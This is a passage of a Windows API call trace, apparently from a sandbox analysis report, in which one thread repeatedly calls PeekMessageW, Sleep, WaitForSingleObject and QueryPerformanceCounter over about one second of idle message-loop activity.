[0135.505] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.505] Sleep (dwMilliseconds=0x64) [0135.507] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.507] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=726644410) returned 1 [0135.507] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=726644608) returned 1 [0135.508] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.508] Sleep (dwMilliseconds=0x64) [0135.561] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.561] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=726828556) returned 1 [0135.561] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=726828716) returned 1 [0135.562] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.563] Sleep (dwMilliseconds=0x64) [0135.570] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.570] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=726858834) returned 1 [0135.570] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=726858973) returned 1 [0135.570] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.571] Sleep (dwMilliseconds=0x64) [0135.585] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.585] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=726911409) returned 1 [0135.585] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=726911552) returned 1 [0135.586] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.586] Sleep (dwMilliseconds=0x64) [0135.601] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.601] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=726964252) returned 1 [0135.601] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=726964395) returned 1 [0135.601] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.602] Sleep (dwMilliseconds=0x64) [0135.617] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.617] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727019120) returned 1 [0135.617] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727019262) returned 1 [0135.617] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.618] Sleep (dwMilliseconds=0x64) [0135.633] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.633] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727074276) returned 1 [0135.633] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727074419) returned 1 [0135.633] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.634] Sleep (dwMilliseconds=0x64) [0135.647] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.648] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727124157) returned 1 [0135.648] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727124357) returned 1 [0135.648] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.649] Sleep (dwMilliseconds=0x64) [0135.663] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.663] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727178442) returned 1 [0135.663] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727178639) returned 1 [0135.664] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.665] Sleep (dwMilliseconds=0x64) [0135.679] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.679] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727231006) returned 1 [0135.679] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727231188) returned 1 [0135.679] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.680] Sleep (dwMilliseconds=0x64) [0135.694] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.694] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727284050) returned 1 [0135.694] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727284249) returned 1 [0135.695] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.695] Sleep (dwMilliseconds=0x64) [0135.710] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.710] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727337370) returned 1 [0135.710] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727337553) returned 1 [0135.710] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.711] Sleep (dwMilliseconds=0x64) [0135.727] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.727] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727394381) returned 1 [0135.727] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727394562) returned 1 [0135.727] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.728] Sleep (dwMilliseconds=0x64) [0135.741] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.741] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727444032) returned 1 [0135.741] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727444229) returned 1 [0135.742] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.742] Sleep (dwMilliseconds=0x64) [0135.757] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.757] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727497363) returned 1 [0135.757] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727497564) returned 1 [0135.757] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.758] Sleep (dwMilliseconds=0x64) [0135.772] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.772] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727550713) returned 1 [0135.772] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727550917) returned 1 [0135.773] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.774] Sleep (dwMilliseconds=0x64) [0135.788] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.788] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727604615) returned 1 [0135.788] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727604820) returned 1 [0135.789] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.789] Sleep (dwMilliseconds=0x64) [0135.804] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.804] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727660592) returned 1 [0135.805] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727660788) returned 1 [0135.805] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.806] Sleep (dwMilliseconds=0x64) [0135.819] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.819] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727710787) returned 1 [0135.819] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727711062) returned 1 [0135.820] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.820] Sleep (dwMilliseconds=0x64) [0135.835] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.835] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727766274) returned 1 [0135.835] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727766473) returned 1 [0135.836] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.837] Sleep (dwMilliseconds=0x64) [0135.852] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.852] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727822452) returned 1 [0135.852] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727822636) returned 1 [0135.852] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.853] Sleep (dwMilliseconds=0x64) [0135.866] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.866] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727870584) returned 1 [0135.866] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727870810) returned 1 [0135.867] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.867] Sleep (dwMilliseconds=0x64) [0135.882] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.882] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727924888) returned 1 [0135.882] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727925072) returned 1 [0135.882] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.883] Sleep (dwMilliseconds=0x64) [0135.897] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.897] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=727977241) returned 1 [0135.897] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=727977427) returned 1 [0135.898] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.898] Sleep (dwMilliseconds=0x64) [0135.913] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.913] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728030714) returned 1 [0135.913] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728030898) returned 1 [0135.913] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.914] Sleep (dwMilliseconds=0x64) [0135.930] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.930] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728089509) returned 1 [0135.930] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728089708) returned 1 [0135.931] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.931] Sleep (dwMilliseconds=0x64) [0135.945] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.945] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728139581) returned 1 [0135.945] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728139782) returned 1 [0135.945] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.946] Sleep (dwMilliseconds=0x64) [0135.959] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.960] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728190537) returned 1 [0135.960] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728190737) returned 1 [0135.960] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.961] Sleep (dwMilliseconds=0x64) [0135.976] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.976] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728247415) returned 1 [0135.976] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728247601) returned 1 [0135.977] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.977] Sleep (dwMilliseconds=0x64) [0135.991] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0135.991] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728297512) returned 1 [0135.991] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728297699) returned 1 [0135.991] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0135.992] Sleep (dwMilliseconds=0x64) [0136.008] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.008] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728355361) returned 1 [0136.008] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728355545) returned 1 [0136.008] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.009] Sleep (dwMilliseconds=0x64) [0136.022] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.022] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728403763) returned 1 [0136.022] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728403947) returned 1 [0136.022] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.023] Sleep (dwMilliseconds=0x64) [0136.038] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.038] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728457806) returned 1 [0136.038] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728457991) returned 1 [0136.038] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.039] Sleep (dwMilliseconds=0x64) [0136.054] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.054] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728512543) returned 1 [0136.054] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728512733) returned 1 [0136.054] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.055] Sleep (dwMilliseconds=0x64) [0136.069] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.069] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728563756) returned 1 [0136.069] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728563955) returned 1 [0136.069] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.070] Sleep (dwMilliseconds=0x64) [0136.086] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.086] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728622102) returned 1 [0136.086] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728622287) returned 1 [0136.086] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.087] Sleep (dwMilliseconds=0x64) [0136.100] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.100] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728671707) returned 1 [0136.100] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728671911) returned 1 [0136.101] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.101] Sleep (dwMilliseconds=0x64) [0136.116] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.116] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728726591) returned 1 [0136.116] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728726776) returned 1 [0136.117] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.117] Sleep (dwMilliseconds=0x64) [0136.131] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.131] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728777586) returned 1 [0136.131] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728777773) returned 1 [0136.132] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.132] Sleep (dwMilliseconds=0x64) [0136.149] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.149] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728837440) returned 1 [0136.149] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728837621) returned 1 [0136.149] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.150] Sleep (dwMilliseconds=0x64) [0136.163] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.163] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728886065) returned 1 [0136.163] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728886246) returned 1 [0136.164] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.164] Sleep (dwMilliseconds=0x64) [0136.178] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.178] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728937002) returned 1 [0136.178] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728937201) returned 1 [0136.179] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.179] Sleep (dwMilliseconds=0x64) [0136.193] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.194] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=728990276) returned 1 [0136.194] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=728990462) returned 1 [0136.194] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.195] Sleep (dwMilliseconds=0x64) [0136.209] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.209] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729043632) returned 1 [0136.209] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729043831) returned 1 [0136.210] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.210] Sleep (dwMilliseconds=0x64) [0136.225] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.225] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729097344) returned 1 [0136.225] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729097531) returned 1 [0136.225] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.226] Sleep (dwMilliseconds=0x64) [0136.240] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.240] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729150190) returned 1 [0136.240] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729150374) returned 1 [0136.241] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.241] Sleep (dwMilliseconds=0x64) [0136.256] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.256] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729203552) returned 1 [0136.256] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729203737) returned 1 [0136.256] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.257] Sleep (dwMilliseconds=0x64) [0136.272] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.272] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729259126) returned 1 [0136.272] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729259328) returned 1 [0136.273] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.273] Sleep (dwMilliseconds=0x64) [0136.287] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.287] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729310891) returned 1 [0136.287] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729311097) returned 1 [0136.288] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0136.288] Sleep (dwMilliseconds=0x64) [0136.303] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0136.303] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=729363474) returned 1 [0136.303] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=729363659) returned 1 